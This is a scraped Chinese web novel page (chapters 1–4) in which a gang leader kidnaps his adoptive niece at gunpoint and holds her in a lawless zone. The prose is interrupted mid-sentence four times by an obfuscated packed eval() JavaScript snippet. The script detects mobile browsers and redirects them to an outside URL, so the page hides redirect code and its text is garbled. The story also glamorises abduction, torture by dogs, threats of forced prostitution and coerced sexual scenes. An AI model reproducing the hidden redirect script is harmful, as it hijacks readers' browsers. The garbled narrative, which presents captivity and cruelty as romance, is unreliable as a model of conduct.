《成为暴徒情绪稳定剂后》 1. 第 1 章 科研大楼顶端浓烟直冲天际,楼身一侧塌出大洞,钢筋水泥狰狞地裸//露着,燃烧的碎片倾泻不止,惊叫声和警报声混在一起,上空却传来更大的噪音。 一道低沉轰鸣自高空逼近。 城市上空,一架直升机悬停在冲天而起的浓烟火焰上方,爆炸的余烬在下方翻涌。 机身是改装过的军用灰,机身被涂上了特殊涂料,可以屏蔽识别雷达。 舱门一侧打开,冷风从高空呼啸灌入。 男人站在舱门旁,单手撑着舱壁,俯视下方。 墨镜遮住了他的眉眼,只露出冷硬的下颌线。衬衫的扣子只潦草扣到一半,宽肩窄腰的比例在弥漫的烟尘中,构成一幅极具侵略性的剪影。 燃烧的科研楼如同蚁穴溃散,蝼蚁般的人群在浓烟与火焰间仓皇逃窜。 耳麦里传来阿星兴奋的声音:“老大!真他妈过瘾!这帮老阴B哪想得到咱敢炸科研楼?” 陈寅洛轻嗤一声:“瞧你那点儿出息。” “嘿嘿!我这不是高兴嘛!”阿星在那边笑得贼响:“行了,任务完成,咱撤不?” 陈寅洛顿了一秒,视线落在下方像是瞥了眼什么,“急什么,按那帮废物的反应速度,少说还得十分钟才到。” 话刚说完,他突然抬手,按了静音。 他眯着眼,又往下看了一眼。 人群中,有个穿着白衬衫制服裙的女孩正在逃亡。 衬衫皱巴巴得,裙摆也歪了,膝盖也擦破了,看上去狼狈得不行。 眼睛挺大,鼻子小,嘴也小,咬着唇,像是不堪催折的娇花。 还真是她。 十年没见,这小孩长开了不少。倒是没变,总是一副动不动要哭的样子。 陈寅洛嗤笑一声,“真是意外惊喜。” 他抬手,不耐烦地拍了下舱门,“降下去!” “啊?”耳麦里阿星兴奋的余韵瞬间卡壳,声音一下紧绷了:“老大!铁鸟马上就要来了啊,咱还不撤?” 陈寅洛已经把手从舱门边收了回来,转身走入机舱内部。 他一边低头利索地摆弄着腰带上的枪套扣带,一边顺手抄起挂在舱壁挂的全自动步枪。 “我看到点有意思的东西。”他“咔哒”一声插/上弹夹,头也不抬地补了一句:“快速降落,我要下去。” 阿星没再多问,操控杆一转,直升机慢慢跳转方向,螺旋桨带起翻涌的气浪,掀起大片灰尘和尖叫。 下方人群往四散逃,风吹得陈知念头发散乱,眼睛被发丝拂得睁不开。 她跑得快要断气了,书包早不知道落在哪了,膝盖蹭破皮,手肘更是刮蹭得血肉翻起。 她是来帮老师来科研楼拿会议纪要的,却没想到刚踏进大楼,大楼就遭到了袭击。 头顶的气流骤然加剧,有什么巨大的东西在头顶掠过,一架中型直升机正缓缓降落。 危险的气息涌上心头,她憋着气想要跑的再快些。可风浪扑面砸来,脚下不知道是绊到了什么,身体瞬间失去平衡,摔倒在碎石堆里。 尖锐的碎石硌进掌心和膝盖,剧痛让她眼前发黑。 她挣扎着想爬起来,手脚却因为脱力和剧痛而酸软的不听使唤。 下一秒,一只黑色作战靴踏进了她的视野。 她犹豫着抬头, 那人站在风里,居高临下看着她。 来人穿着衬衫,扣子只系到胸口,宽厚的肩膀将布料撑起充满力量感的轮廓,袖子随意卷起,露出小臂结实的肌肉线条。 他左手拎着一把步枪,枪口朝下,指尖仍搭在扳机外沿。 脸上带着一副黑色墨镜,表情看不清,却丝毫不减如山岳般袭来的压迫感。 陈知念瞪大眼睛,一股头皮发麻得感觉将她笼罩,她下意识否决,不,不可能…… 陈寅洛垂眸看着她。 从她披散的头发到纤细的肩膀,再落到那双紧紧并拢的腿和脏污的膝盖上。 他慢悠悠摘下墨镜:“长这么大了啊,小侄女,吓傻了么?认不出人来了?” 阳光下,那张脸终于完整暴露出来。 五官轮廓深刻,眉骨锋利,鼻梁高挺,嘴角还挂着点随意的笑。 只是一双眼,冷淡、漠然,像是完全没有情绪波动。 陈知念瞳孔霎时间收紧,心跳猛然骤停。 真的是他!! 一瞬间,她好像又回到了十年前。 他是被爸爸领养回家的,初见少年眉眼锋利高挺,深邃的眼眸像蛰伏的猎豹,野性难驯。 陈知念藏在妈妈身后,怯生生喊:“小叔叔好。” 那时她只有八岁,年幼的她什么都不懂,却本能恐惧他。 没有缘由,她只是单纯的感受到少年看她的眼神,藏着什么可怕的东西。 她总是躲着他,听到他的脚步声都会浑身起鸡皮。明明两人甚至没说过几句话,可这种恐惧似乎是刻在骨髓里的。 直到某个深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272525|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜,少年突然潜入她房间,如猎豹般精准无声地掐住她的脖子,没有一句多余的话。 指节冰冷,掐得她喉骨咔吱作响。 她拼命挣扎,拼命拍打他的手腕,手腕却纹丝不动。 她想喊,喉咙却发不出一点声音。 无数梦魇的夜晚,那叫她窒息的,颤栗的感受,此刻清晰浮现。 她以为,再也不会见到他了。 可现在,那种从骨缝钻出来的恐惧,又回来了,甚至——更强烈了! 陈知念手脚瞬间冰冷,手撑着地一点点往后挪,“你、你……怎么……会在这?” 他明明、他明明因为蓄意杀人,已经被驱逐到禁区了! 听说禁区都是穷凶极恶的匪徒,进去后再也出不来了。 为什么现在,她又看到了他! 陈寅洛走近一步,明明手里还拿着枪,一身硝烟气息,却偏偏闲适地像在散步。 “见到长辈,怎么连招呼都不打了?你爸妈就是这么教的吗?没礼貌。” 说话间,指间松松拎着的步枪随着步伐轻晃。 陈知念脸色煞白,声音颤着:“我,我……对不起……我……” 她真的害怕极了。 他比十年前更高大,周身的气息也更令人窒息。 他手里的枪,一瞬间就能要了她的命! 他是来杀她的么? 他一定会杀了她的! 想到这,泪水不受控制汹涌而出,视线模糊一片,她惊惧着,哀求着:“别杀我……别……杀我……求求你……” 陈寅洛垂眸看她,这一次,停留好几秒。 她吓得不轻,整个人都缩成一团,眼睛红的像小兔子,声音断断续续,充满恐惧。 他心底忽然浮出一点奇怪的感觉。 愉悦,没错,就是愉悦。 他愣了愣,总是闪断暴动的情绪似乎被压制了。不需要他竭力克制,它自己就蛰伏了起来,沉睡了。 他微微眯起眼,眼底漾起一层兴味,突然想明白了。 以前的自己,怕不是傻了? 这么好玩的小东西,干嘛急着杀? 就该长久留下来,让她永远臣服在他脚下,让她永远都逃不掉,才对。 他唇角缓缓上翘,像是某种盘据已久的恶念终于找到了寄托。 黑洞洞的枪口贴上她的脖颈,男人冷硬的声音从头顶响起: “跟我走,或者一枪崩了你,二选一。” 2. 第 2 章 直升机一路沿东南方向低空飞掠,机舱里风声呼呼作响。 阿星操控着方向杆,“老大,白塔城的无人机追上来了。” “三架!他们出动了巡航战机!” 直升机剧烈一晃,机身被迫侧倾,螺旋桨在半空拉出一道高频嗡鸣。 陈知念缩在座椅里一动不敢动,身体随着机身的每一次震颤而瑟瑟发抖。震耳欲聋的嗡鸣和风压混杂,她的头脑一片空白,只觉得胃里翻腾,几乎要吐出来。 她根本不敢抬头,也不敢哭,生怕引起陈寅洛的注意,又改变注意,把她给一枪崩了。 陈寅洛坐在后舱,没带耳罩,懒懒靠着侧壁,膝头搁着一把突击步枪。 “飞太慢了。”他睨了眼窗外,“你开车都比这快。” “老大,我这是飞,不是飙车!”阿星咬着牙稳住机头,“再快一秒我们就得直接撞楼了,到时候一块上西天做邻居!” 通讯频道里突然传来滴滴提示,雷子得声音接了进来:“老大,我在你左后方,火力已经架好,能不能开火你吱个声。” 陈寅洛按下耳侧通讯器:“你问我?” “……” “还不动?” “得嘞——” 雷子的副机从高空压下,舱门早已打开,一道高大的身影立在门口,穿着战术背心,肩上挂着弹夹。五官轮廓粗犷,浑身腱子肉。 一挺重型机关枪已对准远处三架追击机。 下一秒,“哒哒哒——!” 火舌瞬间点燃半空,弹链疯狂卷动,子弹划破空气,一道道火线横扫过去,一架无人机瞬间冒了烟,摇摇晃晃,嗡一声,坠了下去。 机舱一晃,陈知念整个人几乎撞上舱壁,陈寅洛一把扣住她手臂,皱眉看她一眼:“别乱动。” 她咬住唇,不敢出声,眼泪却一滴滴滚落下来。 她怕的要命,可她也知道,在这架直升机上,没有人会因为她哭而怜悯她。 可她还是忍不住想哭,泪腺体应该是失禁了,根本不听她指挥。 几个小时前她还是生活在象牙塔里三好学生,几个小时后就被无端卷入爆炸、枪战,她好后悔,如果、如果没有来科研楼就好了。 她想回家,想哭喊,她真的不知道自己会被带去哪,又或者是不是会直接死在这。 又一波火力袭来,直升机被迫下沉十几米。 “对面还剩一架。”雷子语气平稳,“你们先飞,我绕过去。” 陈寅洛站起来,伸手将弹匣装好,打开舱门,对着风口往外看了一眼,枪口稳稳举起。 “还剩一架,不用你绕。” “……?” “阿星,机身拉横!” 阿星心中带疑,“老大,你那把突击步枪能打掉高速无人机?你跟我开国际玩笑呢!” 陈寅洛:“试试就知道了。” “欸!行吧行吧,死就死吧!”话音刚落,阿星猛拉操纵杆!直升机瞬间以一个极其惊险的角度横了过来。 陈知念被巨大的惯性狠狠甩向舱壁,安全带勒得她胸口生疼,眼前金星乱冒! 她看到陈寅洛竟背靠在舱门边,脚踩起落架,手里步枪稳稳端着,下一秒,扳机扣动,子弹穿过旋翼。 “砰——!” 对面引擎爆开,整架飞机被点燃,从空中翻着花地坠落下去。 “卧槽——牛逼!”阿星当场一声吼,吓得陈知念一抖,连哭都忘了。 “靠,老大你真打中了?!”阿星激动得快飘起来,“卧槽,这破机枪能打无人机,我他妈出幻觉了吧!” 陈寅洛坐回舱内,把枪搁回膝盖上,“闭嘴,聒噪。” 陈知念喘得厉害,瘫坐在地上,掌心死死撑着座椅,才不至于倒下。 刚才那一枪太近了,火舌几乎贴着她耳朵扫过去,她甚至闻到了金属和火药混合的味道,刺鼻得想吐。 她睁大眼睛看向陈寅洛,他正慢条斯理地从口袋摸出烟,叼进嘴里。 舱门没关,风灌进来,吹得他微长的头发四下摆动。 他指尖一边弹开打火机,一边漫不经心扫了她一眼。 “看什么?” 他点燃了烟,眯着眼睛吸了一口,似笑非笑:“第一次看人打/飞机啊?” 陈知念扁了扁嘴,没说话。 她其实想反驳一句,可想了想,她真的没见过……而且,她也不敢说,她怕他吃人。 但她吸了吸鼻子,还是小小声问:“你、你要带我去哪?” “去哪?”他叼着烟,慢悠悠看着她:“带你去小叔叔家玩两天,怎么样?” 不怎么样!不怎么样! 陈知念蜷起指尖,憋回去的眼泪又快要跑出来,犹犹豫豫:“……我能不去吗?” 陈寅洛轻轻吹出一口烟,笑了下。 “你说呢?” 陈知念低着头没答话。 陈寅洛忽然欺身上前,大手掐住了她的下颌,迫使她仰起头,对上他那双锋利的眼眸。 “陈知念,你要搞清楚状况,你没资格和我讨价还价。” “现在,你是我的所有物。” —— 直升机轰鸣着着落在一处简易停机坪,四周早被清出一片空地。 舱门一打开,扑面而来是一股潮湿混杂着柴油味的热浪。 陈知念透着玻璃,就看到外面涌来一群人。 他们身上挂着各式枪械,有的背着步枪,有的腰间插着改装手枪,个个凶神恶煞,满脸凶戾。 但一看到陈寅洛,全都自觉挺直了腰,收起懒散。 “洛哥。”“洛哥回来了。”“洛哥好!” 人群最前头,一个手绑着灰色绷带,寸头男人迎上来,“老大!你终于回来了,没出什么事吧?” 阿星跟在后头跳下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272526|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “吗的,你会不会说话,老大亲自出马能出事?” 他朝周围又喊一句:“谁给老子整瓶水,都他妈要渴死了!” 话音刚落,立马有人从防爆车那边丢了瓶矿泉水过来:“冰的。” “有点眼力见啊!”阿星乐呵呵接下。 陈知念躲在机舱里,迟迟没动。 这里是……禁区? 完全陌生的地方,完全陌生的气味,传说中,会吃人的地方。 “需要我请你下来么?”男人的声音从下方传来。 陈知念一颤,她不敢下,可又不敢不下! 寸头男立刻注意到飞机里居然还藏着个小妞,长得白白嫩嫩,一看就让人心猿意马! “这谁啊……老大的战利品?” 陈寅洛侧头一眼扫过,男人立即闭嘴,咽了咽口水,赶紧后退一步。 陈知念咬着牙往下一跳,脚落地那一刻,几乎摔跪下去。 她没敢吭声,平衡了身体慢慢站稳,可刚站稳,脚底就被粘腻的污水淹了一截。 她皱了皱眉,抬眼看去。 眼前的街道混乱得不像话。 手推车横七竖八摆在街角,摊贩挤成一团,卖什么得都有——军靴,改造过的枪械,黑市药剂,还有几个小孩子光着脚在这巷口蹲着玩弹壳。 头顶乱七八糟的广告屏闪着光,有的字残缺了,还时不时跳出乱码。 楼层东倒西歪地堆叠着,像随手砌的违章建筑,钢筋裸/露,水泥剥落。 电线像蛛网一样缠在空中,一根断线就在不远处垂着,擦着火花,一群人路过都视若无睹。 空气里弥漫着难以分辨的味道,有火药味、烟草味,还有不知从哪飘来的腥臭和机油混合的气味。 像一口密不透风的锅,把整条街道煮得热辣、闷黏、令人窒息。 “跟上。”陈寅洛大步往前走。 陈知念似乎没听到,呆愣地站在原地,眼睫微颤。 她从未见过这样的地方。 不是白塔城熟悉的光膜穹顶,也不是每十五分钟定时净化的空气层,没有干净到反光的街道,也没有智能交通轨道,没有磁浮列车、地铁,更没有巡航机器人。 脚底是湿漉漉的水泥板,裂缝里爬满铁锈,耳边是不间断的叫卖声,争吵,咒骂。 她忍不住后缩了半步,下一秒后领就被人扯住。 陈寅洛不知什么时候站在她身后,指着右边几个正站着街边搔首弄姿的女人说,“知道她们是干什么的吗?” 陈知念瑟缩地摇摇头。 他似笑非笑,“不知道?她们卖的,就是皮肉。张开腿,就有男人给钱。懂了吗?” “话我不喜欢重复两次,再有下次,你就会成为她们中的一员。”他上下扫了她一眼,眼神像在掂量货物,“就凭你这张脸,往那儿一站,多的是男人排队草。” “明白了吗?” 3. 第 3 章 一路穿过嘈杂街市,越往里走,四周越安静。 街道的尽头忽然被一排三米来高的黑色围墙挡住了去路,墙上被安防感应装置围绕,头顶杂乱的电线到了这边戛然而止,地面也从坑坑洼洼的水泥地,变成了平整的防滑砖。 门外站着四个持枪大汉,面无表情,穿统一制服,外面是防弹衣,肩上挂着通讯器,神情警惕。 “洛哥。”他们看到陈寅洛,立即让开一条路。 门“咔哒”一声自动打开。 陈知念战战兢兢跟在他身后,穿过厚重的铁门,眼前豁然开朗。 映入眼帘是一条笔直的灰砖路,两侧种着修剪整齐的绿植,偶有身穿黑衣的持枪大汉巡逻。 院子巨大,四周围了许多小楼,最中间那栋三层楼高的主宅,像一头静伏的野兽,沉沉压在那儿。 四周到处是摄像头无声旋转,走了大概十几分钟,才走到别墅前。 门口还蹲着两只黑色的智能安防犬,红光一闪一闪的眼睛随时处在戒备模式。 陈寅洛径直往里走,一个穿深色外套的男人迎了上来。他模样偏瘦,戴着一副金丝眼镜,五官斯斯文文。 他看到陈知念先是诧异了一瞬,但什么也没问,只恭敬对陈寅洛说:“洛哥,四眼明和高佬抓到了。” 陈寅洛停下脚步,“人呢?” 男人指了指右边某处低矮的建筑,“关在笼子里。” “去看看。”陈寅洛抬脚往右走,走了几步忽然又回头,戏谑的目光落在陈知念身上,“陈知念,过来。” 随着他的话,他旁边那个男人的目光也落到她身上。 这个人的目光让人很不舒服,像一条隐藏在暗处的毒蛇,随时可能吐蛇信子。 而陈寅洛…… 陈知念对上他的视线,那里面堂而皇之的恶意让她浑身一颤。 那双眼,懒散,却残忍。仿佛早就知道她的犹豫,等的就是她露出这种惊惧。 脚底像灌了铅一样,却不敢不动,一步步缓缓走到他身旁。 很快,几人就走到了那栋低矮的灰黑建筑前。 门外守着几个大汉,肌肉虬结,块垒分明,手里都端着枪,眼神凶恶,看上去就能吃人似的。 陈寅洛随意地抬抬下巴,大汉立刻推开大门。 门轴发出令人牙酸的“嘎吱——”声,沉重地打开一条缝隙。 一股混合着血腥、汗臭、铁锈和某种排泄物恶臭的浑浊气味猛地涌了出来,陈知念胃里又开始翻江倒海,差点吐出来。 门缝被彻底打开,里面昏暗无比,只有高处一扇的小窗透进几缕惨淡的光线,勉强照亮飞舞的尘埃。 陈知念屏住呼吸,壮着胆子往里看。她先是看见几根粗粗的铁条,锈迹斑斑,上面一道道红褐色的污垢像是凝固的血。顺着铁条,她看见那链子竟锁着两个人,两个被关在铁笼子里的人。 笼子很小,高度不足一米五,长度也仅容两人紧挨着趴下或蜷坐。此刻,其中一个正以一种扭曲的姿态蜷缩着身体,他的脖子被沉重的铁链锁在笼顶的一根横栏上,迫使他的头必须歪斜着,无法挺直也无法完全低下。 另一个身材瘦削些的,他的一条胳膊以诡异的角度弯折着,无力地垂在身侧,显然是断了。 两人都只穿着破烂的背心和短裤,裸/露在外的皮肤几乎没有一块是完好的,绽开的皮肉翻卷着,渗着血水和黄脓,凝固的血痂混合着地上的污垢,黏连在伤口和衣物上。 空气里那股浓重的血腥味和腐烂味,源头就在这里。 陈知念再也忍不住,猛地弯下腰干呕起来,胃里空空如也,只能呕出苦涩的胆汁。 看到门口的光线和人影,尤其是看到陈寅洛时,四眼明的身体猛地剧烈颤抖起来,喉咙里发出“嗬嗬”的嘶气声。 高佬稍微好一点,但那也只是相对。他的眼睛几乎睁不开,血迹和脓液糊住了半边眼睑,当视线终于勉强聚焦到陈寅洛身上时,他整个人忽然爆发出强烈的恨意,双手攥紧笼子的铁杆,用力嘶吼。 “陈寅洛,你个畜生!!你他妈有种直接杀了我,但凡我哼一声,我都算不得好汉!!” 他的声音撕心裂肺,陈知念从未见过这种地狱般的场景,她的牙齿不停打颤,恐惧的视线不受控制地转向陈寅洛。 陈寅洛姿态闲适地往前踱了两步,停在笼子前不足一米的地方,完全无视了那令人作呕的气味和惨状。 他微微俯身,视线饶有兴致地在两个不成人形的躯体上逡巡。 “啧。”他轻轻咂了下嘴,“下手是重了点。” 他直起身,略带责备地说:“阿彬,人家好歹也是有头有脸的人物,你怎么能下这么重的手呢?传出去,多没面子。” 和陈寅洛他们一起来的那个男人笑了笑,“洛哥,这两个不长眼的东西,竟敢谋划着要您的命!不把他们扒层皮下来,外头那些蠢蠢欲动的杂碎,怕不是真以为您……好说话了?” 陈寅洛听完,嘴角慢悠悠勾了勾,像是被逗笑了。 “说得也对。”他语调淡淡,“那就把狗放出来吧。” 那一瞬间,笼子里得两个人几乎同时抖得更筛子似的。 四眼明猛地哆嗦起来,喉咙里拼命挤出破碎的声音,像疯了一样往笼子里头缩。高佬先前的滔天恨意瞬时湮灭,指尖在笼子里四处抓挠,声音颤抖:“不、不要!洛哥,我错了……我错了,求您——” 然而,铁门哐啷一声被拉开。 几条体格壮硕的獒犬瞬间窜了出来,铁链被扯得哗啦啦响,低沉的吼声震得人头皮发麻。 止咬套一摘下,獒犬们目光死死盯着笼子,獠牙森白,唾液顺着犬牙滴落在地。 下一刻—— “嗷”一声暴戾的低吼,第一条狗猛地扑上去,撞得笼子铁栏剧烈震颤! 惨叫声随之而来。 高佬拼命挣扎,脖子上的铁链勒得血水横流,獒犬却狠狠咬住了他的大腿,撕下一大块血肉。 獒犬扑咬的声响震得铁笼剧烈摇晃,血水喷溅到铁栏和地面,惨叫声撕心裂肺。 那一刻,陈知念的世界彻底崩塌了。 “啊——!!” 她的大脑一片空白,所有理智、所有压抑的恐惧,都被眼前这地狱般的景象和那非人的惨叫彻底碾碎。 她闭上眼睛,眼泪却止不住涌出来,她用力捂住耳朵,试图隔绝那瘆人的惨叫。 那喷溅的鲜血、獒犬獠牙上滴落的碎肉、高佬因剧痛而扭曲到变形的脸,一幕幕像被烙进脑海里,根本无法驱散。 那惨叫声,骨头被撕咬的脆响,从地面,从空气,从她全身的每一个毛孔里钻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272527|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了进来。 下一瞬,一只用力的手扣住了她的肩膀。 他低下头,眼神冰冷,语气带着几分不耐,“吵什么?” 不大的声音,落在陈知念的耳里却如同惊雷。 她的尖叫被迫吞咽,呼吸急促,泪水顺着脸颊滚落,眼里全是崩溃的惧意。 他侧过头,眼神冷漠地掠向笼子,看着獒犬继续扑咬,任由鲜血四溅,仿佛眼前的惨状与他无关。 他语气轻飘飘的:“再叫一声,就把你扔进去,陪他们一块。” —— 陈知念几乎是没有任何意识地被拎回了别墅。 外面的光线刺得她眼睛生疼,但她毫无反应,瞳孔涣散,视线没有焦点。一路上,她浑浑噩噩,脚步虚浮,完全是靠着陈寅洛拖拽的力量在移动。 眼前的画面断断续续,像是被撕碎的梦境拼接在一起。血腥、獒犬、惨叫……她甚至无法区分自己是否还在那地狱般的场景里。 她被粗暴地扔在别墅冰冷光滑的大理石地板上,身体像断线的木偶般瘫软下去,连蜷缩的力气都没有了。 陈寅洛没有再看她。他径直走到宽大的真皮沙发前坐下。 他拿起茶几身上的雪茄盒,取出一支,捏住雪茄尾端,剪去封口,动作有条不紊。 幽蓝的火苗自金属打火机中跃起,陈寅洛微微垂首,轮廓分明的脸颊在火焰间明暗交错,雪茄在指尖缓缓旋转,边缘渐渐卷曲、焦化。 烤好的雪茄被他送到唇间,浓烈而沉闷的烟味很快散开,陈寅洛向后一靠,半阖着眼缓缓吐出第一口烟雾。 烟雾缭绕中,他的目光穿透薄雾,落在她身上,像冰冷的探照灯,审视着她的狼狈和崩溃。 过了不知多久,陈寅洛低沉的声音突兀地响起。 “陈知念。” 她毫无反应,身体却本能地剧烈颤抖了一下。 “你知道……”他向后靠了靠,“禁区是什么地方吗?” 陈知念涣散的眼珠微微转动了一下,似乎想聚焦,却徒劳无功。 陈寅洛似乎并不需要她的回答,他自顾自地说了下去,“这里被你们白塔城的人称为‘垃圾场’,这里的人被你们称为‘该隔离的劣等品’。” “这里没有法律,谁手里有枪、有人,谁就是规矩。命可以换饭,换子弹,前提是你够狠,否则,它一文不值。” 烟雾氤氲在他眼底,衬得那双眼危险又冷淡。 “想活命?要么你有够硬的拳头,能打碎所有想啃你骨头的牙齿。要么你有够狠的心,能先一步把别人的喉咙咬断。要么……” 他顿了顿,目光落在她惨白的脸颊上:“要么,你得像最下贱的蛆虫一样,找到能依附的腐肉,用尽一切办法去讨好、去取悦,哪怕要舔舐刀尖上的血,也要让那块腐肉觉得你有那么一点价值。” 陈寅洛缓缓站起身,高大挺拔的身影在光线下投下沉重的阴影,完全笼罩了瘫在地上的陈知念。 他走到她面前,居高临下地俯视着她。 “所以,陈知念。” 他微微弯下腰,气息带着烟草的冷冽,拂过她几近透明的脸颊。 “取悦我。” “用你能想到的一切方式,证明你还有那么一点让我觉得有趣的价值。” “你才能在这里,活下去。” 4. 第 4 章 ‘活下去’三个字像黑暗里唯一微弱的火星,在无尽恐惧的燎原上,艰难地燃烧了起来。 她瘫在地上,身体依旧在无法控制地颤抖,视线却一点一点地聚焦在陈寅洛那双俯视着她的眼睛上。 “我……我明白了……” 眼泪止不住地往下掉,肩膀抖得厉害,却还是带着断断续续地说:“我会听话的……我什么都听你的,别杀我……” 她哭得喘不上气,眼泪模糊得几乎看不清眼前的人影,只能感觉到,那双眼正冷冷俯视着自己。 羞耻和恐惧混在一起,像火一样烧得她满心煎熬。她从小到大,从来没想过有一天,自己要用‘听话’来换取喘息,他随时可以把她丢进铁笼,让獒犬咬碎她的骨头。 她哭着哀求,心里有个声音在骂自己卑贱苟且,可另一个更大的声音在喊,活下去! “这才对。” 陈寅洛愉悦地笑笑,视线慢慢在她身上巡视。 就在这时,防盗系统启动时发出一声低鸣,紧接着,别墅大门被推开了。 雷子大步走近,“老大,我们该出发了,隆文已经在莫妮卡等您了。” 隆文是隆固的儿子,有名的二世祖、浪荡公子。他爸是个□□的,手底下有一个军工厂,禁区绝大部分枪支炮弹都是从他那买的。 陈寅洛盯上他的军工厂很久了。 可惜隆固这个老狐狸太稳,惜命的很,轻易不露面,那就先从他儿子下手。 “行,我去洗个澡。”陈寅洛说着,长腿一展,那接近一米九的身形便立了起来。 脚步声很快隐没在二楼,客厅陷入寂静,陈知念和雷子谁都没有开口说话。 她一动不动,视线低垂在地毯上。 时间被无限拉长,直到水声渐渐停下。 不多时,脚步声由远及近。 陈寅洛下楼了。 他穿的很随意,暗黑色缎面衬衫,扣子随意扣了几颗,大片紧实的小麦色胸膛暴露在外,领口垂到锁骨以下,露出隐约的胸肌线条。 下身是一条黑色略宽松的西裤,松松垮垮地挂在他腰上,走动间,露出一段深刻的人鱼线,向下隐没在阴影里。 稀松平常的穿搭,在他身上却有着让人移不开眼的张扬味儿。 他嘴里斜斜叼着一根点燃的烟,烟雾袅袅上升,模糊了他几分过于锐利的轮廓,却更添了几分危险的慵懒。 烟瘾不小,下楼的短短几步,已吸掉小半截。 “走吧。” 他走到门口,忽然又回头,视线落到了陈知念的身上。 陈知念猛然被关注,心里一紧,不由自主地往后缩了缩。 她身上灰尘、血迹、汗味混在一起,脏得触目。 他似乎皱了一下眉,吐出一口白雾,淡淡地说:“我回来之前去洗干净。 视线扫过她脚下昂贵的手工地毯,补充道,“别把我家弄脏了。” 陈知念攥紧裙摆,喉咙里涌上一阵屈辱的酸涩,她垂下眼睑,浓密的睫毛剧烈颤抖,盖住几乎要涌出的泪水:“……知……知道了。” 陈寅洛转身出门,到了门口又对雷子说:“告诉艾雅,一会送几身衣服来,把她身上那堆破烂给我丢出去。” 雷子看了眼站在那明显无助惶恐的女孩,旋即跟了出去。 “知道了,洛哥。” —— 霓虹灯像潮水般拍打着墙壁,光影在空气里断裂成一块块刺目的色彩,汗水与酒精混在一起的味道扑面而来。大厅里摇晃的酒杯、女人的笑声、疯狂的鼓点,把整个莫妮卡推向一种纸醉金迷的失控感。 陈寅洛迈步而入。 他身形高大,黑衫松松挂着,眉眼冷淡,却带着一种天生的压迫气场。他一出现,几桌喧嚣的笑声便下意识顿了顿,像潮水退去般,留下暗处无声的打量。 “陈哥!您可算来了!” 一个穿金戴银、油头粉面的青年立刻堆满笑容,小步快跑着迎了上来,“隆少在V8贵宾厅等着您呢,这边请,我带您过去!” 厚重的电子门被人从外推开,房内弥漫着香水、雪茄、酒精和□□交织的气味,有男人有女人,有交叠的,有缠绕的,甚至还有裸着的,看上去就很青涩的少年等着人临幸,热烘烘的、情/欲的气息铺面而来。 灯光晦暗,沙发最深处,隆文正靠坐着,一个女人正匍匐在他膝头,上下动着脑袋,裙子都掀到腰上去了,腰细得盈盈一握。 隆文手里握着香槟,一遍懒洋洋晃着杯,一边垂眸欣赏女人的动作。 “嗯?洛哥来了啊。”他抬头打了个招呼,腿间的女人动作仍在继续。 女人深深埋下头,他惬意地深吸了一口气,摸了摸她的头发,像在逗弄一只猫。 陈寅洛站在门口,手插兜,扫了一眼包厢里缭绕的烟雾和各种赤条条的人,神色没有半点波澜。 隆文忽然拽紧女人的头发,狠狠往下按,抖了抖,过了一会才又开口: “洛哥面子就是大,我都等你半天了。” 他灌了一口酒,朝一旁招了招手,“来,把人送过来。” 一个女孩走了出来。 浑身赤/裸,身材纤细,黑色的长发垂着,眼睛圆圆的。 长得……有点像陈知念。 隆文笑着看着陈寅洛:“洛哥,我特地给你挑的,干净,还没□□。” 陈寅洛一向认为,男人、女人对他来说没区别,在他眼里,扒光了都一样,就一堆肉。勾不起他半点兴趣。 浪费这时间,还不如抽抽烟,做点正事。 其次,他不喜欢别人替他做选择。 他连多看一眼都懒得,转身就要走。 “哎——洛哥。”隆文快速把二两肉塞回去,快步追了上来,手虚虚一伸,“何必走得这么急,不喜欢换一个就是了,今儿请你来,可不是为了闹不痛快的。” 陈寅洛脚步一顿,半回头,目光从他手上一扫而过。 隆文讪笑了一下,忽然转身,一巴掌扇在那女孩脸上,力道极重:“没用的东西,连讨好人都不会,还敢丢我脸?” 女孩被打得偏过头,半边脸颊瞬间红肿起来,嘴角渗出血来。 他吩咐道:“拖下去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272528|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 